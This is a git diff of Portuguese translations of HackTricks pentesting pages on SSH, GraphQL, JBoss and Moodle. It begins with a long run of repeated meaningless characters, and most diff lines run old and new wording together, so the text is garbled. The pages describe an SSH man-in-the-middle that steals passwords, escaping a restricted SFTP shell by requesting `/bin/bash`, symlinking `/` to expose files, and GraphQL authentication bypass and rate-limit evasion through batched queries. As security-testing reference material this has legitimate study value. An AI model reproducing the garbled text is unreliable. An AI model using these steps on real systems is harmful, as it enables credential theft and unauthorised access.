z6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6
```bash ```bash
ssh-keyscan -t rsa <IP> -p <PORT> ssh-keyscan -t rsa <IP> -p <PORT>
``` ```
### Algoritmos de Cifra Fracos ### Algoritmos de Cifra Fracos
Isso é descoberto por padrão pelo **nmap**. Mas você também pode usar o **sslscan** ou **sslyze**. Isso é descoberto por padrão pelo **nmap**. Mas você também pode usar **sslscan** ou **sslyze**.
### Scripts do Nmap ### Scripts do Nmap
```bash ```bash
@ -138,9 +138,9 @@ Ou use `ssh-keybrute.py` (python3 nativo, leve e com algoritmos legados habilita
#### Chaves SSH fracas / PRNG previsível do Debian #### Chaves SSH fracas / PRNG previsível do Debian
Alguns sistemas possuem falhas conhecidas na semente aleatória usada para gerar material criptográfico. Isso pode resultar em um espaço de chaves dramaticamente reduzido, que pode ser quebrado por força bruta. Conjuntos pré-gerados de chaves geradas em sistemas Debian afetados por PRNG fraco estão disponíveis aqui: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). Alguns sistemas m falhas conhecidas na semente aleatória usada para gerar material criptográfico. Isso pode resultar em um espaço de chaves dramaticamente reduzido que pode ser quebrado por força bruta. Conjuntos pré-gerados de chaves geradas em sistemas Debian afetados por PRNG fraco estão disponíveis aqui: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Você deve procurar aqui para buscar chaves válidas para a máquina alvo. Você deve procurar aqui para procurar chaves válidas para a máquina vítima.
### Kerberos ### Kerberos
@ -168,12 +168,12 @@ Para mais informações, execute `crackmapexec ssh --help`.
## SSH-MitM ## SSH-MitM
Se você estiver na mesma rede local que a vítima, que vai se conectar ao servidor SSH usando nome de usuário e senha, você pode tentar **realizar um ataque MitM para roubar essas credenciais**: Se você estiver na rede local como a vítima que vai se conectar ao servidor SSH usando nome de usuário e senha, você pode tentar **realizar um ataque MitM para roubar essas credenciais:**
**Caminho do ataque:** **Caminho do ataque:**
* o tráfego do usuário é redirecionado para a máquina atacante * o tráfego do usuário é redirecionado para a máquina atacante
* o atacante monitora as tentativas de conexão com o servidor SSH e as redireciona para o seu próprio servidor SSH * o atacante monitora as tentativas de conexão com o servidor SSH e as redireciona para seu próprio servidor SSH
* o servidor SSH do atacante é configurado, em primeiro lugar, para registrar todos os dados inseridos, incluindo a senha do usuário, e, em segundo lugar, para enviar comandos ao servidor SSH legítimo para o qual o usuário deseja se conectar, para executá-los e, em seguida, retornar os resultados ao usuário legítimo * o servidor SSH do atacante é configurado, em primeiro lugar, para registrar todos os dados inseridos, incluindo a senha do usuário, e, em segundo lugar, para enviar comandos ao servidor SSH legítimo para o qual o usuário deseja se conectar, para executá-los e, em seguida, retornar os resultados ao usuário legítimo
\*\*\*\*[**SSH MITM**](https://github.com/jtesta/ssh-mitm) \*\*\*\* faz exatamente o que foi descrito acima. \*\*\*\*[**SSH MITM**](https://github.com/jtesta/ssh-mitm) \*\*\*\* faz exatamente o que foi descrito acima.
@ -195,7 +195,7 @@ Por padrão, a maioria das implementações de servidor SSH permitirá o login d
### Execução de comandos SFTP ### Execução de comandos SFTP
Outra configuração incorreta comum do SSH é frequentemente vista na configuração do SFTP. Na maioria das vezes, ao criar um servidor SFTP, o administrador deseja que os usuários tenham acesso SFTP para compartilhar arquivos, mas não para obter um shell remoto na máquina. Portanto, eles pensam que criar um usuário, atribuir a ele um shell reservado (como `/usr/bin/nologin` ou `/usr/bin/false`) e restringi-lo em uma prisão é suficiente para evitar o acesso ou abuso de shell em todo o sistema de arquivos. Mas eles estão errados, **um usuário pode solicitar a execução de um comando logo após a autenticação antes que seu comando ou shell padrão seja executado**. Portanto, para contornar o shell reservado que negará o acesso ao shell, basta solicitar a execução de um comando (por exemplo, `/bin/bash`) antes, apenas fazendo: Outra configuração incorreta comum do SSH é frequentemente vista na configuração do SFTP. Na maioria das vezes, ao criar um servidor SFTP, o administrador deseja que os usuários tenham acesso SFTP para compartilhar arquivos, mas não para obter um shell remoto na máquina. Portanto, eles pensam que criar um usuário, atribuir a ele um shell reservado (como `/usr/bin/nologin` ou `/usr/bin/false`) e restringi-lo em uma prisão é suficiente para evitar o acesso ou abuso de shell em todo o sistema de arquivos. Mas eles estão errados, **um usuário pode solicitar a execução de um comando logo após a autenticação antes que seu comando ou shell padrão seja executado**. Portanto, para ignorar o shell reservado que negará o acesso ao shell, basta solicitar a execução de um comando (por exemplo, `/bin/bash`) antes, apenas fazendo:
``` ```
$ ssh -v noraj@192.168.1.94 id $ ssh -v noraj@192.168.1.94 id
... ...
@ -254,9 +254,9 @@ sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compro
``` ```
### SFTP Symlink ### SFTP Symlink
O **sftp** possui o comando "**symlink**". Portanto, se você tiver **direitos de gravação** em alguma pasta, você pode criar **links simbólicos** de **outras pastas/arquivos**. Como você provavelmente está **preso** dentro de um chroot, isso **não será especialmente útil** para você, mas se você puder **acessar** o **link simbólico** criado a partir de um **serviço sem chroot** (por exemplo, se você puder acessar o link simbólico pela web), você poderá **abrir os arquivos linkados através da web**. O **sftp** possui o comando "**symlink**". Portanto, se você tiver **direitos de gravação** em alguma pasta, você pode criar **symlinks** de **outras pastas/arquivos**. Como você provavelmente está **preso** dentro de um chroot, isso **não será especialmente útil** para você, mas se você puder **acessar** o **symlink** criado a partir de um **serviço sem chroot** (por exemplo, se você puder acessar o symlink pela web), você poderia **abrir os arquivos symlinked através da web**.
Por exemplo, para criar um **link simbólico** de um novo arquivo **"**_**froot**_**" para "**_**/**_**"**: Por exemplo, para criar um **symlink** de um novo arquivo **"**_**froot**_**" para "**_**/**_**"**:
``` ```
sftp> symlink / froot sftp> symlink / froot
``` ```
@ -264,7 +264,7 @@ Se você conseguir acessar o arquivo "_froot_" via web, poderá listar a pasta r
### Métodos de autenticação ### Métodos de autenticação
Em ambientes de alta segurança, é comum habilitar apenas autenticação baseada em chave ou autenticação de dois fatores em vez da autenticação simples baseada em senha. No entanto, muitas vezes os métodos de autenticação mais fortes são habilitados sem desabilitar os mais fracos. Um caso frequente é habilitar `publickey` na configuração do openSSH e defini-lo como o método padrão, mas não desabilitar `password`. Portanto, usando o modo verbose do cliente SSH, um atacante pode ver que um método mais fraco está habilitado: Em ambientes de alta segurança, é comum habilitar apenas autenticação baseada em chave ou autenticação de dois fatores em vez da autenticação simples baseada em senha. No entanto, muitas vezes os métodos de autenticação mais fortes são habilitados sem desabilitar os mais fracos. Um caso frequente é habilitar `publickey` na configuração do openSSH e defini-lo como o método padrão, mas não desabilitar `password`. Portanto, usando o modo verbose do cliente SSH, um invasor pode ver que um método mais fraco está habilitado:
``` ```
$ ssh -v 192.168.1.94 $ ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019 OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
@ -298,13 +298,13 @@ id_rsa
* Você pode encontrar guias interessantes sobre como fortalecer o SSH em [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html) * Você pode encontrar guias interessantes sobre como fortalecer o SSH em [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html)
* [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide) * [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original"> <img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_). Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês, escrita e falada, é necessária_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
## Comandos Automáticos HackTricks ## HackTricks Comandos Automáticos
``` ```
Protocol_Name: SSH Protocol_Name: SSH
Port_Number: 22 Port_Number: 22

View file

@ -44,7 +44,7 @@ A ferramenta [**graphw00f**](https://github.com/dolevf/graphw00f) é capaz de de
Se você enviar `query{__typename}` para qualquer endpoint do GraphQL, ele incluirá a string `{"data": {"__typename": "query"}}` em algum lugar de sua resposta. Isso é conhecido como uma consulta universal e é uma ferramenta útil para sondar se uma URL corresponde a um serviço GraphQL. Se você enviar `query{__typename}` para qualquer endpoint do GraphQL, ele incluirá a string `{"data": {"__typename": "query"}}` em algum lugar de sua resposta. Isso é conhecido como uma consulta universal e é uma ferramenta útil para sondar se uma URL corresponde a um serviço GraphQL.
A consulta funciona porque todo endpoint do GraphQL possui um campo reservado chamado `__typename` que retorna o tipo do objeto consultado como uma string. A consulta funciona porque todo endpoint do GraphQL tem um campo reservado chamado `__typename` que retorna o tipo do objeto consultado como uma string.
### Enumeração básica ### Enumeração básica
@ -194,6 +194,10 @@ Consulta de introspecção em linha:
kind kind
} }
} }
type {
name
kind
}
} }
} }
} }
@ -265,9 +269,9 @@ GraphQL é uma tecnologia relativamente nova que está começando a ganhar desta
### Pesquisando ### Pesquisando
Para este exemplo, imagine um banco de dados com **pessoas** identificadas pelo e-mail e pelo nome e **filmes** identificados pelo nome e pela classificação. Uma **pessoa** pode ser **amiga** de outras **pessoas** e uma pessoa pode **ter filmes**. Para este exemplo, imagine um banco de dados com **pessoas** identificadas pelo email e pelo nome e **filmes** identificados pelo nome e pela classificação. Uma **pessoa** pode ser **amiga** de outras **pessoas** e uma pessoa pode **ter filmes**.
Você pode **pesquisar** pessoas **pelo** nome e obter seus e-mails: Você pode **pesquisar** pessoas **pelo** nome e obter seus emails:
```javascript ```javascript
{ {
searchPerson(name: "John Doe") { searchPerson(name: "John Doe") {
@ -383,19 +387,19 @@ Abaixo você pode encontrar a demonstração mais simples de uma solicitação d
![](<../../.gitbook/assets/image (182) (1).png>) ![](<../../.gitbook/assets/image (182) (1).png>)
Como podemos ver na captura de tela da resposta, as primeiras e terceiras solicitações retornaram _null_ e refletiram as informações correspondentes na seção de _error_. A **segunda mutação teve a autenticação correta** e a resposta possui o token de sessão de autenticação correto. Como podemos ver na captura de tela da resposta, as primeiras e terceiras solicitações retornaram _null_ e refletiram as informações correspondentes na seção de _error_. A **segunda mutação tinha os dados de autenticação corretos** e a resposta continha o token de sessão de autenticação correto.
![](<../../.gitbook/assets/image (119) (1).png>) ![](<../../.gitbook/assets/image (119) (1).png>)
## GraphQL sem Introspecção ## GraphQL sem Introspecção
Cada vez mais, **os pontos de extremidade do GraphQL estão desabilitando a introspecção**. No entanto, os erros que o GraphQL gera quando uma solicitação inesperada é recebida são suficientes para que ferramentas como [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) possam recriar a maior parte do esquema. Cada vez mais, **os pontos de extremidade do GraphQL estão desabilitando a introspecção**. No entanto, os erros que o GraphQL gera quando recebe uma solicitação inesperada são suficientes para que ferramentas como [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) possam recriar a maior parte do esquema.
Além disso, a extensão do Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observa as solicitações da API GraphQL que passam pelo Burp** e **constrói** um **esquema** interno do GraphQL com cada nova consulta que ele . Ele também pode expor o esquema para GraphiQL e Voyager. A extensão retorna uma resposta falsa quando recebe uma consulta de introspecção. Como resultado, o GraphQuail mostra todas as consultas, argumentos e campos disponíveis para uso na API. Para mais informações, [**verifique isso**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). Além disso, a extensão do Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observa as solicitações da API GraphQL que passam pelo Burp** e **constrói** um **esquema** interno do GraphQL com cada nova consulta que ele encontra. Ele também pode expor o esquema para GraphiQL e Voyager. A extensão retorna uma resposta falsa quando recebe uma consulta de introspecção. Como resultado, o GraphQuail mostra todas as consultas, argumentos e campos disponíveis para uso na API. Para mais informações, [**verifique isso**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
Uma boa **lista de palavras** para descobrir [**entidades do GraphQL pode ser encontrada aqui**](https://github.com/Escape-Technologies/graphql-wordlist?). Uma boa **lista de palavras** para descobrir [**entidades do GraphQL pode ser encontrada aqui**](https://github.com/Escape-Technologies/graphql-wordlist?).
### Bypassing defesas de introspecção do GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a> ### Bypassando defesas de introspecção do GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
Se você não consegue executar consultas de introspecção na API que está testando, tente inserir um **caractere especial após a palavra-chave `__schema`**. Se você não consegue executar consultas de introspecção na API que está testando, tente inserir um **caractere especial após a palavra-chave `__schema`**.
@ -465,7 +469,7 @@ A mutação pode até levar à **assunção de conta** tentando modificar dados
[Encadeando consultas](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) é possível contornar um sistema de autenticação fraco. [Encadeando consultas](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) é possível contornar um sistema de autenticação fraco.
No exemplo abaixo, podemos ver que a operação é "forgotPassword" e que ela deve executar apenas a consulta "forgotPassword" associada a ela. Isso pode ser contornado adicionando uma consulta ao final, neste caso adicionamos "register" e uma variável de usuário para o sistema registrar como um novo usuário. No exemplo abaixo, podemos ver que a operação é "forgotPassword" e que ela deve executar apenas a consulta forgotPassword associada a ela. Isso pode ser contornado adicionando uma consulta ao final, neste caso adicionamos "register" e uma variável de usuário para o sistema registrar como um novo usuário.
<figure><img src="../../.gitbook/assets/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
@ -479,7 +483,7 @@ Embora os aliases sejam destinados a limitar o número de chamadas de API que vo
Muitos pontos de extremidade terão algum tipo de **limitador de taxa para evitar ataques de força bruta**. Alguns limitadores de taxa funcionam com base no **número de solicitações HTTP** recebidas, em vez do número de operações realizadas no ponto de extremidade. Como os aliases permitem efetivamente enviar várias consultas em uma única mensagem HTTP, eles podem contornar essa restrição. Muitos pontos de extremidade terão algum tipo de **limitador de taxa para evitar ataques de força bruta**. Alguns limitadores de taxa funcionam com base no **número de solicitações HTTP** recebidas, em vez do número de operações realizadas no ponto de extremidade. Como os aliases permitem efetivamente enviar várias consultas em uma única mensagem HTTP, eles podem contornar essa restrição.
O exemplo simplificado abaixo mostra uma série de **consultas com aliases verificando se os códigos de desconto da loja são válidos**. Essa operação pode potencialmente contornar o limite de taxa, pois é uma única solicitação HTTP, mesmo que possa ser usada para verificar uma grande quantidade de códigos de desconto de uma só vez. O exemplo simplificado abaixo mostra uma série de **consultas com aliases verificando se os códigos de desconto da loja são válidos**. Essa operação pode potencialmente contornar o limite de taxa, pois é uma única solicitação HTTP, mesmo que possa ser usada para verificar um grande número de códigos de desconto de uma só vez.
```bash ```bash
#Request with aliased queries #Request with aliased queries
query isValidDiscount($code: Int) { query isValidDiscount($code: Int) {
@ -496,12 +500,13 @@ valid
``` ```
## Ferramentas ## Ferramentas
### Scanners de Vulnerabilidade ### Scanners de Vulnerabilidades
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Conjunto de ferramentas que pode ser usado para obter esquemas e procurar por dados sensíveis, testar autorização, forçar esquemas e encontrar caminhos para um determinado tipo. * [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Conjunto de ferramentas que pode ser usado para obter esquemas e procurar por dados sensíveis, testar autorização, forçar esquemas e encontrar caminhos para um determinado tipo.
* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Pode ser usado como um aplicativo independente ou [extensão do Burp](https://github.com/doyensec/inql). * [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Pode ser usado como um aplicativo independente ou [extensão do Burp](https://github.com/doyensec/inql).
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Pode ser usado como um cliente CLI também para automatizar ataques. * [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Pode ser usado como um cliente CLI também para automatizar ataques.
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Ferramenta que lista as diferentes maneiras de alcançar um determinado tipo em um esquema GraphQL. * [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Ferramenta que lista as diferentes maneiras de alcançar um determinado tipo em um esquema GraphQL.
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Extensão do Burp para testes avançados de GraphQL. O componente _**Scanner**_ é o núcleo do InQL v5.0, onde você pode analisar um endpoint GraphQL ou um arquivo de esquema de introspecção local. Ele gera automaticamente todas as consultas e mutações possíveis, organizando-as em uma visualização estruturada para sua análise. O componente _**Attacker**_ permite executar ataques em lote GraphQL, o que pode ser útil para contornar limites de taxa mal implementados.
### Clientes ### Clientes
@ -528,8 +533,8 @@ valid
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

View file

@ -12,7 +12,7 @@
</details> </details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original"> <img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_). Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
@ -38,7 +38,7 @@ Você pode expor **servlets de gerenciamento** através dos seguintes caminhos d
``` ```
inurl:status EJInvokerServlet inurl:status EJInvokerServlet
``` ```
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original"> <img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_). Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).

View file

@ -12,13 +12,13 @@
</details> </details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original"> <img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_). Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
## Scans Automáticos ## Scaneamentos Automáticos
### droopescan ### droopescan
```bash ```bash
@ -45,13 +45,15 @@ O comando `moodlescan` é uma ferramenta de linha de comando usada para realizar
